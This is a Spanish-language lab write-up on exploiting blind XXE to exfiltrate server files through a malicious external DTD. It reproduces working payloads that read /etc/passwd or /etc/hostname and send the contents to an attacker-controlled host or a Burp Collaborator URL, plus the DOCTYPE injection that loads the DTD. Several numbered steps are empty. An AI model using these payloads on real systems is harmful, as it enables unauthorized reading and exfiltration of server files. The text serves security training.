Laboratorio: Exploiting blind XXE to exfiltrate data using a malicious external DTD

En este caso nuestro objetivo es el endpoint /etc/hostname porque como se mencionaba antes a veces algunos parsers XML obtienen la URL en la definición de entidad externa usando una API que valida los caracteres que se permiten aparecer dentro de la URL.

----------- CARGA UTIL
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
----------- NOMBRE ENDPOINT DE MI SERVER MALICIOSO
http://web-attacker.com/prueba.dtd
----------- LO QUE AÑADIMOS EN EL XML CON EL DTD: 
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

Este laboratorio contiene un exploit server para poder llevar a cabo el ataque:

Entonces vamos a probar la funcionalidad de check stock y vemos que sucede exactamente:

Aqui esta es la request POST con el XML, entonces intentaré crear la carga útil en el exploit server y ver que pasa.

El endpoint del exploit server lo dejaré como /test.dtd

Punto clave para la resolución de este lab:

Para este ataque en concreto haré uso tanto del exploit server como de mi instancia de burp collaborator, así podremos llevarlo con éxito, pasaré a dejar todas las cargas utiles listas:

//PARA ESTA URL DEJARÉ MI BURP-COLLABORATOR QUE ES DONDE LLEGARÁ LA INFO.
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % test "<!ENTITY &#x25; exfiltrate SYSTEM 'http://hsd9nt7a7xbex8i0xnqa4xbmvd16pwdl.oastify.com/?x=%file;'>">
%test;
%exfiltrate;

//NOMBRE ENDPOINT DE MI SERVER MALICIOSO
https://exploit-0a1000c2047d6ee38163fb74011b004b.exploit-server.net/testing.dtd

//LO QUE AÑADIMOS EN EL XML CON EL DTD en la petición POST: 
<!DOCTYPE foo [<!ENTITY % pruebaFelipe SYSTEM
"http://exploit-0a1000c2047d6ee38163fb74011b004b.exploit-server.net/testing.dtd"> %pruebaFelipe;]>

Paso 1:

Paso 2:

Paso 3:

Me devolvió un parsing error:

Y es por algo en especifico, mi carga util de la entidad parametro que creé llamada file tenía la ruta hacía passwd, como mencionaba antes los parsers utilizan unas apis externas que se encargan de validar lo que va en la URL para definir que se acepta y que no, en este caso /etc/passwd efectivamente no.

Ahora si, lo lanzamos y nos sigue dando error pero si le doy poll now al burp collaborator me trae el hostname que robe con el archivo %file; que vienen de la IP 34.253.173.2→